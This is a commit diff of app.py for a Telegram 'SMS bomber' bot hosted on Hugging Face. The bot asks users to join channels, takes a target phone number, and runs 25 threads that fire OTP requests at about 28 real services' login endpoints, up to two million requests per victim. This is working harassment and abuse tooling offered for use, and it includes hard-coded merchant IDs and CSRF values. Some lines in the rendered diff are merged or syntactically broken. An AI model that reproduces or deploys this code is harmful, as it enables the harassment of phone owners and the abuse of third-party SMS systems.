Sheeturt commited on
Commit
9ab7905
Β·
verified Β·
1 Parent(s): 5f18648

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +132 -71
app.py CHANGED
@@ -24,7 +24,7 @@ REQUIRED_CHANNELS = [
24
 
25
  BOT_TOKEN = os.environ.get("BOT_TOKEN", "")
26
  PORT = int(os.environ.get("PORT", 7860))
27
- PUBLIC_URL = os.environ.get("PUBLIC_URL", f"https://{os.environ.get('SPACE_ID', 'your-space')}.hf.space")
28
 
29
  API_INDICES = list(range(31))
30
  DEFAULT_COUNTRY_CODE = "91"
@@ -32,6 +32,9 @@ BOMBING_DELAY_SECONDS = 0.4
32
  MAX_REQUEST_LIMIT = 2_000_000
33
  THREAD_COUNT = 25
34
 
 
 
 
35
  # Session data
36
  verified_users = set()
37
  bombing_active = {}
@@ -44,11 +47,11 @@ telegram_app = None
44
 
45
 
46
  def esc(text: str) -> str:
47
- escape_chars = r"_*[]()~`>#+-=|{}.!"
48
- for ch in escape_chars:
49
  text = text.replace(ch, "\\" + ch)
50
  return text
51
 
 
52
  def getapi(pn, lim, cc):
53
  cc, pn, lim = str(cc), str(pn), int(lim)
54
  url_urllib = [
@@ -60,46 +63,74 @@ def getapi(pn, lim, cc):
60
  try:
61
  urllib.request.urlopen(url_urllib[lim], timeout=10)
62
  return True
63
- except:
64
  return False
65
  try:
66
- if lim == 3: return session.post('https://pharmeasy.in/api/auth/requestOTP', json={"contactNumber": pn}, timeout=10).status_code == 200
67
- elif lim == 4: return session.post('https://www.heromotocorp.com/en-in/xpulse200/ajax_data.php', data={'mobile_no': pn, 'randome': 'ZZUC9WCCP3ltsd/JoqFe5HHe6WfNZfdQxqi9OZWvKis=', 'csrf': '523bc3fa1857c4df95e4d24bbd36c61b'}, timeout=10).status_code == 200
68
- elif lim == 5: return session.post('https://indialends.com/internal/a/mobile-verification_v2.ashx', data={'aeyder03teaeare': '1', 'ertysvfj74sje': cc, 'jfsdfu14hkgertd': pn, 'lj80gertdfg': '0'}, timeout=10).status_code == 200
69
- elif lim == 6: return session.post('https://www.flipkart.com/api/6/user/signup/status', json={"loginId": [f"+{cc}{pn}"], "supportAllStates": True}, timeout=10).status_code == 200
70
- elif lim == 7: return session.post('https://www.flipkart.com/api/5/user/otp/generate', data={'loginId': f'+{cc}{pn}', 'state': 'VERIFIED'}, timeout=10).status_code == 200
71
- elif lim == 8: return session.post('https://www.ref-r.com/clients/lenskart/smsApi', data={'mobile': pn, 'submit': '1'}, timeout=10).status_code == 200
72
- elif lim == 9: return "success" in session.post("https://accounts.practo.com/send_otp", data={'mobile': f'+{cc}{pn}', 'client_name': 'Practo Android App'}, timeout=10).text.lower()
73
- elif lim == 10: return session.post('https://m.pizzahut.co.in/api/cart/send-otp?langCode=en', json={"customer": {"MobileNo": pn, "UserName": pn, "merchantId": "98d18d82-ba59-4957-9c92-3f89207a34f6"}}, timeout=10).status_code == 200
74
- elif lim == 11: return session.post('https://www.goibibo.com/common/downloadsms/', data={'mbl': pn}, timeout=10).status_code == 200
75
- elif lim == 12: return "sent" in session.post('https://www.apollopharmacy.in/sociallogin/mobile/sendotp/', data={'mobile': pn}, timeout=10).text.lower()
76
- elif lim == 13: return '"statusCode":"1"' in session.post('https://www.ajio.com/api/auth/signupSendOTP', json={"firstName": "SpeedX", "mobileNumber": pn, "requestType": "SENDOTP"}, timeout=10).text
77
- elif lim == 14: return session.post('https://api.cloud.altbalaji.com/accounts/mobile/verify?domain=IN', json={"country_code": cc, "phone_number": pn}, timeout=10).status_code == 200
78
- elif lim == 15: return 'code:' in session.post('https://www.aala.com/accustomer/ajax/getOTP', data={'email': f'{cc}{pn}', 'firstname': 'SpeedX', 'lastname': 'SpeedX'}, timeout=10).text
79
- elif lim == 16: return session.post('https://api.grab.com/grabid/v1/phone/otp', data={'method': 'SMS', 'countryCode': 'id', 'phoneNumber': f'{cc}{pn}'}, timeout=10).status_code == 200
80
- elif lim == 17: return session.post("https://gkx.gokwik.co/v3/gkstrict/auth/otp/send", headers={"gk-merchant-id": "19g6im8srkz9y"}, json={"phone": pn, "country": "IN"}, timeout=10).status_code == 200
81
- elif lim == 18: return session.post("https://gkx.gokwik.co/v3/gkstrict/auth/otp/send", headers={"gk-merchant-id": "19an4fq2kk5y"}, json={"phone": pn, "country": "IN"}, timeout=10).status_code == 200
82
- elif lim == 19: return session.post("https://api.breeze.in/session/start", json={"phoneNumber": pn, "countryCode": f"+{cc}"}, timeout=10).status_code == 200
83
- elif lim == 20: return session.post("https://gkx.gokwik.co/v3/gkstrict/auth/otp/send", headers={"gk-merchant-id": "19g6ilhej3mfc"}, json={"phone": pn, "country": "IN"}, timeout=10).status_code == 200
84
- elif lim == 21: return session.post("https://oidc.agrevolution.in/auth/realms/dehaat/custom/sendOTP", json={"mobile_number": pn, "client_id": "kisan-app"}, timeout=10).status_code == 200
85
- elif lim == 22: return session.post("https://api.penpencil.co/v1/users/resend-otp?smsType=2", json={"mobile": pn, "organizationId": "5eb393ee95fab7468a79d189"}, timeout=10).status_code == 200
86
- elif lim == 23: return session.post("https://api.khatabook.com/v1/auth/request-otp", json={"country_code": f"+{cc}", "phone": pn}, timeout=10).status_code == 200
87
- elif lim == 24: return session.get(f"https://www.jockey.in/apps/jotp/api/login/send-otp/+{cc}{pn}?whatsapp=true", timeout=10).status_code == 200
88
- elif lim == 25: return session.post("https://gkx.gokwik.co/v3/gkstrict/auth/otp/send", headers={"gk-merchant-id": "19kc37zcdyiu"}, json={"phone": pn, "country": "IN"}, timeout=10).status_code == 200
89
- elif lim == 26: return session.post('https://vidyakul.com/signup-otp/send', data={'phone': pn}, timeout=10).status_code == 200
90
- elif lim == 27: return session.post('https://oneservice.adityabirlacapital.com/apilogin/onboard/generate-otp', json={'phone': pn}, timeout=10).status_code == 200
91
- elif lim == 28: return session.post('https://pinknblu.com/v1/auth/generate/otp', data={'country_code': f'+{cc}', 'phone': pn}, timeout=10).status_code == 200
92
- elif lim == 29: return session.post('https://auth.udaan.com/api/otp/send?client_id=udaan-v2', data={'mobile': pn}, timeout=10).status_code == 200
93
- elif lim == 30: return session.post('https://nwaop.nuvamawealth.com/mwapi/api/Lead/GO', json={"contactInfo": pn, "mode": "SMS"}, timeout=10).status_code == 200
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
94
  return False
95
- except:
96
  return False
97
 
98
 
99
- def bombing_thread_worker(user_id, phone_number): while bombing_active.get(user_id, False) and request_counts.get(user_id, 0) < MAX_REQUEST_LIMIT:
 
100
  api_index = random.choice(API_INDICES)
101
  getapi(phone_number, api_index, DEFAULT_COUNTRY_CODE)
102
- with threading.Lock():
103
  request_counts[user_id] = request_counts.get(user_id, 0) + 1
104
  time.sleep(BOMBING_DELAY_SECONDS)
105
 
@@ -107,11 +138,14 @@ def bombing_thread_worker(user_id, phone_number): while bombing_active.get(us
107
  async def perform_bombing_task(user_id, phone_number, context):
108
  request_counts[user_id] = 0
109
  bombing_active[user_id] = True
110
- await context.bot.send_message(chat_id=user_id, text=esc(f"Bombing Started! Target: {phone_number}\nPress Stop Bombing to stop."), parse_mode="MarkdownV2")
111
-
 
 
 
 
112
  threads = []
113
- for _ in range(THREAD_COUNT):
114
- t = threading.Thread(target=bombing_thread_worker, args=(user_id, phone_number), daemon=True)
115
  t.start()
116
  threads.append(t)
117
 
@@ -120,33 +154,47 @@ async def perform_bombing_task(user_id, phone_number, context):
120
  while bombing_active.get(user_id, False):
121
  await asyncio.sleep(1)
122
  if (time.time() - last_msg_time) >= 5:
123
- await context.bot.send_message(chat_id=user_id, text=esc(f"Status: {request_counts.get(user_id, 0)} requests sent."), parse_mode="MarkdownV2")
 
 
 
 
124
  last_msg_time = time.time()
125
  except asyncio.CancelledError:
126
  pass
127
  finally:
128
  bombing_active[user_id] = False
129
  total = request_counts.get(user_id, 0)
130
- await context.bot.send_message(chat_id=user_id, text=esc(f"Bombing stopped! Total requests sent: {total}"), parse_mode="MarkdownV2")
 
 
 
 
131
  bombing_tasks.pop(user_id, None)
132
 
133
 
134
  async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
135
- if update.message.chat.type != "private": return
 
136
  keyboard = [[InlineKeyboardButton(f"Join {chan['id']}", url=chan['link'])] for chan in REQUIRED_CHANNELS]
137
  keyboard.append([InlineKeyboardButton("Verify Membership", callback_data="verify_all_channels")])
138
- await update.message.reply_text(esc("Welcome! Join our channel below to unlock the bomber:"), reply_markup=InlineKeyboardMarkup(keyboard), parse_mode="MarkdownV2")
 
 
 
 
139
 
140
 
141
  async def verify_membership(update: Update, context: ContextTypes.DEFAULT_TYPE):
142
  query = update.callback_query
143
  await query.answer()
144
  user_id = query.from_user.id
145
- unjoined, bot_not_admin = [], []
 
146
 
147
  for chan in REQUIRED_CHANNELS:
148
- try: m = await context.bot.get_chat_member(chat_id=chan['id'], user_id=user_id)
149
- if m.status in ["left", "kicked", "banned"]:
150
  unjoined.append(chan['id'])
151
  except BadRequest as e:
152
  err = str(e).lower()
@@ -158,56 +206,70 @@ async def verify_membership(update: Update, context: ContextTypes.DEFAULT_TYPE):
158
  unjoined.append(chan['id'])
159
 
160
  if bot_not_admin:
161
- await context.bot.send_message(chat_id=user_id, text=f"Bot must be admin in: {', '.join(bot_not_admin)}")
 
 
 
162
  return
163
 
164
  if not unjoined:
165
  verified_users.add(user_id)
166
  await query.edit_message_text("βœ… Verified! Use buttons below.")
167
- await context.bot.send_message(chat_id=user_id, text="Choose:", reply_markup=ReplyKeyboardMarkup([["Start Bombing", "Stop Bombing"]], resize_keyboard=True))
 
 
 
 
168
  else:
169
- await context.bot.send_message(chat_id=user_id, text=f"❌ Not joined: {', '.join(unjoined)}")
 
 
 
170
 
171
 
172
  async def handle_message(update: Update, context: ContextTypes.DEFAULT_TYPE):
173
- if update.message.chat.type != "private": return
 
174
  user_id = update.message.from_user.id
175
  text = update.message.text
176
 
177
  if user_id not in verified_users:
178
- await update.message.reply_text("⚠️ Use /start and verify first.")
179
  return
180
 
181
  if text == "Start Bombing":
182
  if bombing_active.get(user_id, False):
183
- await update.message.reply_text("Already running!")
184
  return
185
  context.user_data["awaiting_num"] = True
186
- await update.message.reply_text(esc("Enter 10-digit number:"), parse_mode="MarkdownV2")
187
-
188
  elif text == "Stop Bombing":
189
  if not bombing_active.get(user_id, False):
190
- await update.message.reply_text("No active session.")
191
  return
192
  bombing_active[user_id] = False
193
  if user_id in bombing_tasks and not bombing_tasks[user_id].done():
194
  bombing_tasks[user_id].cancel()
195
- await update.message.reply_text("⏹️ Stopping...")
196
 
197
- elif context.user_data.get("awaiting_num"): if text.isdigit() and len(text) == 10:
 
198
  context.user_data["awaiting_num"] = False
199
  task = asyncio.create_task(perform_bombing_task(user_id, text, context))
200
  bombing_tasks[user_id] = task
201
  else:
202
- await update.message.reply_text("Invalid. Enter exactly 10 digits.")
203
 
204
 
205
  # --- FLASK FOR HEALTH CHECKS ONLY ---
206
  @flask_app.route("/", methods=["GET"])
207
- def index(): return "βœ… Bot is running (Polling Mode)", 200
 
 
208
 
209
  @flask_app.route("/health", methods=["GET"])
210
- def health(): return jsonify({"status": "ok", "mode": "polling"}), 200
 
211
 
212
 
213
  # --- TELEGRAM BOT (LONG POLLING) ---
@@ -217,7 +279,7 @@ def run_telegram_bot():
217
  logger.error("❌ BOT_TOKEN not set in environment!")
218
  return
219
 
220
- # Custom timeouts for HF network stability
221
  request = HTTPXRequest(connect_timeout=30, read_timeout=30, write_timeout=30, pool_timeout=30)
222
  app = ApplicationBuilder().token(BOT_TOKEN).request(request).build()
223
 
@@ -225,29 +287,28 @@ def run_telegram_bot():
225
  app.add_handler(CallbackQueryHandler(verify_membership, pattern="verify_all_channels"))
226
  app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, handle_message))
227
 
228
- # Start polling (removes need for webhook)
229
  app.run_polling(
230
  allowed_updates=Update.ALL_TYPES,
231
- drop_pending_updates=True, # Ignores old messages on restart
232
  close_loop=False
233
- )
234
- telegram_app = app
235
 
236
 
237
  # --- KEEP-ALIVE (Prevents HF Sleep) ---
238
  def keep_alive():
239
- # HF free tier sleeps if NO external requests hit the space.
240
- # This pings PUBLIC_URL every 5 mins. You MUST set PUBLIC_URL in secrets.
241
  while True:
242
  time.sleep(300)
243
  try:
244
  r = requests.get(PUBLIC_URL, timeout=10)
245
- logger.info(f"πŸ”” Keep-alive ping: {r.status_code}")
246
- except Exception as e: logger.warning(f"πŸ”” Ping failed: {e}")
 
247
 
248
 
249
  if __name__ == "__main__":
250
- logger.info("πŸš€ Starting Telegram Bot (Polling Mode) + Flask Health Server...")
251
  logger.info(f"πŸ“‘ Public URL for keep-alive: {PUBLIC_URL}")
252
 
253
  # Flask runs in background thread
@@ -256,5 +317,5 @@ if __name__ == "__main__":
256
  # Keep-alive pinger
257
  threading.Thread(target=keep_alive, daemon=True).start()
258
 
259
- # Telegram bot runs in main thread (blocking)
260
  run_telegram_bot()
 
24
 
25
  BOT_TOKEN = os.environ.get("BOT_TOKEN", "")
26
  PORT = int(os.environ.get("PORT", 7860))
27
+ PUBLIC_URL = os.environ.get("PUBLIC_URL", "https://sheeturt-telegram-bomber-bot.hf.space")
28
 
29
  API_INDICES = list(range(31))
30
  DEFAULT_COUNTRY_CODE = "91"
 
32
  MAX_REQUEST_LIMIT = 2_000_000
33
  THREAD_COUNT = 25
34
 
35
+ # Thread-safe counter
36
+ counter_lock = threading.Lock()
37
+
38
  # Session data
39
  verified_users = set()
40
  bombing_active = {}
 
47
 
48
 
49
  def esc(text: str) -> str:
50
+ escape_chars = r"_*[]()~`>#+-=|{}.!" for ch in escape_chars:
 
51
  text = text.replace(ch, "\\" + ch)
52
  return text
53
 
54
+
55
  def getapi(pn, lim, cc):
56
  cc, pn, lim = str(cc), str(pn), int(lim)
57
  url_urllib = [
 
63
  try:
64
  urllib.request.urlopen(url_urllib[lim], timeout=10)
65
  return True
66
+ except Exception:
67
  return False
68
  try:
69
+ if lim == 3:
70
+ return session.post('https://pharmeasy.in/api/auth/requestOTP', json={"contactNumber": pn}, timeout=10).status_code == 200
71
+ elif lim == 4:
72
+ return session.post('https://www.heromotocorp.com/en-in/xpulse200/ajax_data.php', data={'mobile_no': pn, 'randome': 'ZZUC9WCCP3ltsd/JoqFe5HHe6WfNZfdQxqi9OZWvKis=', 'csrf': '523bc3fa1857c4df95e4d24bbd36c61b'}, timeout=10).status_code == 200
73
+ elif lim == 5:
74
+ return session.post('https://indialends.com/internal/a/mobile-verification_v2.ashx', data={'aeyder03teaeare': '1', 'ertysvfj74sje': cc, 'jfsdfu14hkgertd': pn, 'lj80gertdfg': '0'}, timeout=10).status_code == 200
75
+ elif lim == 6:
76
+ return session.post('https://www.flipkart.com/api/6/user/signup/status', json={"loginId": [f"+{cc}{pn}"], "supportAllStates": True}, timeout=10).status_code == 200
77
+ elif lim == 7:
78
+ return session.post('https://www.flipkart.com/api/5/user/otp/generate', data={'loginId': f'+{cc}{pn}', 'state': 'VERIFIED'}, timeout=10).status_code == 200
79
+ elif lim == 8:
80
+ return session.post('https://www.ref-r.com/clients/lenskart/smsApi', data={'mobile': pn, 'submit': '1'}, timeout=10).status_code == 200
81
+ elif lim == 9:
82
+ return "success" in session.post("https://accounts.practo.com/send_otp", data={'mobile': f'+{cc}{pn}', 'client_name': 'Practo Android App'}, timeout=10).text.lower()
83
+ elif lim == 10:
84
+ return session.post('https://m.pizzahut.co.in/api/cart/send-otp?langCode=en', json={"customer": {"MobileNo": pn, "UserName": pn, "merchantId": "98d18d82-ba59-4957-9c92-3f89207a34f6"}}, timeout=10).status_code == 200
85
+ elif lim == 11:
86
+ return session.post('https://www.goibibo.com/common/downloadsms/', data={'mbl': pn}, timeout=10).status_code == 200
87
+ elif lim == 12:
88
+ return "sent" in session.post('https://www.apollopharmacy.in/sociallogin/mobile/sendotp/', data={'mobile': pn}, timeout=10).text.lower()
89
+ elif lim == 13:
90
+ return '"statusCode":"1"' in session.post('https://www.ajio.com/api/auth/signupSendOTP', json={"firstName": "SpeedX", "mobileNumber": pn, "requestType": "SENDOTP"}, timeout=10).text
91
+ elif lim == 14:
92
+ return session.post('https://api.cloud.altbalaji.com/accounts/mobile/verify?domain=IN', json={"country_code": cc, "phone_number": pn}, timeout=10).status_code == 200
93
+ elif lim == 15:
94
+ return 'code:' in session.post('https://www.aala.com/accustomer/ajax/getOTP', data={'email': f'{cc}{pn}', 'firstname': 'SpeedX', 'lastname': 'SpeedX'}, timeout=10).text
95
+ elif lim == 16:
96
+ return session.post('https://api.grab.com/grabid/v1/phone/otp', data={'method': 'SMS', 'countryCode': 'id', 'phoneNumber': f'{cc}{pn}'}, timeout=10).status_code == 200
97
+ elif lim == 17:
98
+ return session.post("https://gkx.gokwik.co/v3/gkstrict/auth/otp/send", headers={"gk-merchant-id": "19g6im8srkz9y"}, json={"phone": pn, "country": "IN"}, timeout=10).status_code == 200
99
+ elif lim == 18: return session.post("https://gkx.gokwik.co/v3/gkstrict/auth/otp/send", headers={"gk-merchant-id": "19an4fq2kk5y"}, json={"phone": pn, "country": "IN"}, timeout=10).status_code == 200
100
+ elif lim == 19:
101
+ return session.post("https://api.breeze.in/session/start", json={"phoneNumber": pn, "countryCode": f"+{cc}"}, timeout=10).status_code == 200
102
+ elif lim == 20:
103
+ return session.post("https://gkx.gokwik.co/v3/gkstrict/auth/otp/send", headers={"gk-merchant-id": "19g6ilhej3mfc"}, json={"phone": pn, "country": "IN"}, timeout=10).status_code == 200
104
+ elif lim == 21:
105
+ return session.post("https://oidc.agrevolution.in/auth/realms/dehaat/custom/sendOTP", json={"mobile_number": pn, "client_id": "kisan-app"}, timeout=10).status_code == 200
106
+ elif lim == 22:
107
+ return session.post("https://api.penpencil.co/v1/users/resend-otp?smsType=2", json={"mobile": pn, "organizationId": "5eb393ee95fab7468a79d189"}, timeout=10).status_code == 200
108
+ elif lim == 23:
109
+ return session.post("https://api.khatabook.com/v1/auth/request-otp", json={"country_code": f"+{cc}", "phone": pn}, timeout=10).status_code == 200
110
+ elif lim == 24:
111
+ return session.get(f"https://www.jockey.in/apps/jotp/api/login/send-otp/+{cc}{pn}?whatsapp=true", timeout=10).status_code == 200
112
+ elif lim == 25:
113
+ return session.post("https://gkx.gokwik.co/v3/gkstrict/auth/otp/send", headers={"gk-merchant-id": "19kc37zcdyiu"}, json={"phone": pn, "country": "IN"}, timeout=10).status_code == 200
114
+ elif lim == 26:
115
+ return session.post('https://vidyakul.com/signup-otp/send', data={'phone': pn}, timeout=10).status_code == 200
116
+ elif lim == 27:
117
+ return session.post('https://oneservice.adityabirlacapital.com/apilogin/onboard/generate-otp', json={'phone': pn}, timeout=10).status_code == 200
118
+ elif lim == 28:
119
+ return session.post('https://pinknblu.com/v1/auth/generate/otp', data={'country_code': f'+{cc}', 'phone': pn}, timeout=10).status_code == 200
120
+ elif lim == 29:
121
+ return session.post('https://auth.udaan.com/api/otp/send?client_id=udaan-v2', data={'mobile': pn}, timeout=10).status_code == 200
122
+ elif lim == 30:
123
+ return session.post('https://nwaop.nuvamawealth.com/mwapi/api/Lead/GO', json={"contactInfo": pn, "mode": "SMS"}, timeout=10).status_code == 200
124
  return False
125
+ except Exception:
126
  return False
127
 
128
 
129
+ def bombing_thread_worker(user_id, phone_number):
130
+ while bombing_active.get(user_id, False) and request_counts.get(user_id, 0) < MAX_REQUEST_LIMIT:
131
  api_index = random.choice(API_INDICES)
132
  getapi(phone_number, api_index, DEFAULT_COUNTRY_CODE)
133
+ with counter_lock:
134
  request_counts[user_id] = request_counts.get(user_id, 0) + 1
135
  time.sleep(BOMBING_DELAY_SECONDS)
136
 
 
138
  async def perform_bombing_task(user_id, phone_number, context):
139
  request_counts[user_id] = 0
140
  bombing_active[user_id] = True
141
+ await context.bot.send_message(
142
+ chat_id=user_id,
143
+ text=esc(f"Bombing Started! Target: {phone_number}\nPress Stop Bombing to stop."),
144
+ parse_mode="MarkdownV2"
145
+ )
146
+
147
  threads = []
148
+ for _ in range(THREAD_COUNT): t = threading.Thread(target=bombing_thread_worker, args=(user_id, phone_number), daemon=True)
 
149
  t.start()
150
  threads.append(t)
151
 
 
154
  while bombing_active.get(user_id, False):
155
  await asyncio.sleep(1)
156
  if (time.time() - last_msg_time) >= 5:
157
+ await context.bot.send_message(
158
+ chat_id=user_id,
159
+ text=esc(f"Status: {request_counts.get(user_id, 0)} requests sent."),
160
+ parse_mode="MarkdownV2"
161
+ )
162
  last_msg_time = time.time()
163
  except asyncio.CancelledError:
164
  pass
165
  finally:
166
  bombing_active[user_id] = False
167
  total = request_counts.get(user_id, 0)
168
+ await context.bot.send_message(
169
+ chat_id=user_id,
170
+ text=esc(f"Bombing stopped! Total requests sent: {total}"),
171
+ parse_mode="MarkdownV2"
172
+ )
173
  bombing_tasks.pop(user_id, None)
174
 
175
 
176
  async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
177
+ if update.message.chat.type != "private":
178
+ return
179
  keyboard = [[InlineKeyboardButton(f"Join {chan['id']}", url=chan['link'])] for chan in REQUIRED_CHANNELS]
180
  keyboard.append([InlineKeyboardButton("Verify Membership", callback_data="verify_all_channels")])
181
+ await update.message.reply_text(
182
+ esc("Welcome! Join our channel below to unlock the bomber:"),
183
+ reply_markup=InlineKeyboardMarkup(keyboard),
184
+ parse_mode="MarkdownV2"
185
+ )
186
 
187
 
188
  async def verify_membership(update: Update, context: ContextTypes.DEFAULT_TYPE):
189
  query = update.callback_query
190
  await query.answer()
191
  user_id = query.from_user.id
192
+ unjoined = []
193
+ bot_not_admin = []
194
 
195
  for chan in REQUIRED_CHANNELS:
196
+ try:
197
+ m = await context.bot.get_chat_member(chat_id=chan['id'], user_id=user_id) if m.status in ["left", "kicked", "banned"]:
198
  unjoined.append(chan['id'])
199
  except BadRequest as e:
200
  err = str(e).lower()
 
206
  unjoined.append(chan['id'])
207
 
208
  if bot_not_admin:
209
+ await context.bot.send_message(
210
+ chat_id=user_id,
211
+ text=f"⚠️ Bot must be admin in: {', '.join(bot_not_admin)}"
212
+ )
213
  return
214
 
215
  if not unjoined:
216
  verified_users.add(user_id)
217
  await query.edit_message_text("βœ… Verified! Use buttons below.")
218
+ await context.bot.send_message(
219
+ chat_id=user_id,
220
+ text="Choose an option:",
221
+ reply_markup=ReplyKeyboardMarkup([["Start Bombing", "Stop Bombing"]], resize_keyboard=True)
222
+ )
223
  else:
224
+ await context.bot.send_message(
225
+ chat_id=user_id,
226
+ text=f"❌ You have not joined: {', '.join(unjoined)}\nJoin and press Verify again."
227
+ )
228
 
229
 
230
  async def handle_message(update: Update, context: ContextTypes.DEFAULT_TYPE):
231
+ if update.message.chat.type != "private":
232
+ return
233
  user_id = update.message.from_user.id
234
  text = update.message.text
235
 
236
  if user_id not in verified_users:
237
+ await update.message.reply_text("⚠️ Please use /start and verify your membership first.")
238
  return
239
 
240
  if text == "Start Bombing":
241
  if bombing_active.get(user_id, False):
242
+ await update.message.reply_text("⏳ Bombing is already running! Stop it first.")
243
  return
244
  context.user_data["awaiting_num"] = True
245
+ await update.message.reply_text(esc("Enter the 10-digit target phone number:"), parse_mode="MarkdownV2")
 
246
  elif text == "Stop Bombing":
247
  if not bombing_active.get(user_id, False):
248
+ await update.message.reply_text("ℹ️ No active bombing session.")
249
  return
250
  bombing_active[user_id] = False
251
  if user_id in bombing_tasks and not bombing_tasks[user_id].done():
252
  bombing_tasks[user_id].cancel()
253
+ await update.message.reply_text("⏹️ Stopping bombing... please wait.")
254
 
255
+ elif context.user_data.get("awaiting_num"):
256
+ if text.isdigit() and len(text) == 10:
257
  context.user_data["awaiting_num"] = False
258
  task = asyncio.create_task(perform_bombing_task(user_id, text, context))
259
  bombing_tasks[user_id] = task
260
  else:
261
+ await update.message.reply_text("❌ Invalid input. Please enter exactly 10 digits (no spaces or letters).")
262
 
263
 
264
  # --- FLASK FOR HEALTH CHECKS ONLY ---
265
  @flask_app.route("/", methods=["GET"])
266
+ def index():
267
+ return "βœ… Bot is running (Polling Mode)", 200
268
+
269
 
270
  @flask_app.route("/health", methods=["GET"])
271
+ def health():
272
+ return jsonify({"status": "ok", "mode": "polling"}), 200
273
 
274
 
275
  # --- TELEGRAM BOT (LONG POLLING) ---
 
279
  logger.error("❌ BOT_TOKEN not set in environment!")
280
  return
281
 
282
+ logger.info("πŸ”— Initializing Telegram Bot (Long Polling)...")
283
  request = HTTPXRequest(connect_timeout=30, read_timeout=30, write_timeout=30, pool_timeout=30)
284
  app = ApplicationBuilder().token(BOT_TOKEN).request(request).build()
285
 
 
287
  app.add_handler(CallbackQueryHandler(verify_membership, pattern="verify_all_channels"))
288
  app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, handle_message))
289
 
290
+ # Start polling (no webhook needed)
291
  app.run_polling(
292
  allowed_updates=Update.ALL_TYPES,
293
+ drop_pending_updates=True,
294
  close_loop=False
295
+ ) telegram_app = app
 
296
 
297
 
298
  # --- KEEP-ALIVE (Prevents HF Sleep) ---
299
  def keep_alive():
300
+ logger.info("πŸ”” Keep-alive pinger started...")
 
301
  while True:
302
  time.sleep(300)
303
  try:
304
  r = requests.get(PUBLIC_URL, timeout=10)
305
+ logger.info(f"πŸ”” Ping {PUBLIC_URL}: {r.status_code}")
306
+ except Exception as e:
307
+ logger.warning(f"πŸ”” Ping failed: {e}")
308
 
309
 
310
  if __name__ == "__main__":
311
+ logger.info("πŸš€ Starting Telegram Bot (Polling Mode) + Flask Server...")
312
  logger.info(f"πŸ“‘ Public URL for keep-alive: {PUBLIC_URL}")
313
 
314
  # Flask runs in background thread
 
317
  # Keep-alive pinger
318
  threading.Thread(target=keep_alive, daemon=True).start()
319
 
320
+ # Telegram bot runs in main thread (blocking, keeps process alive)
321
  run_telegram_bot()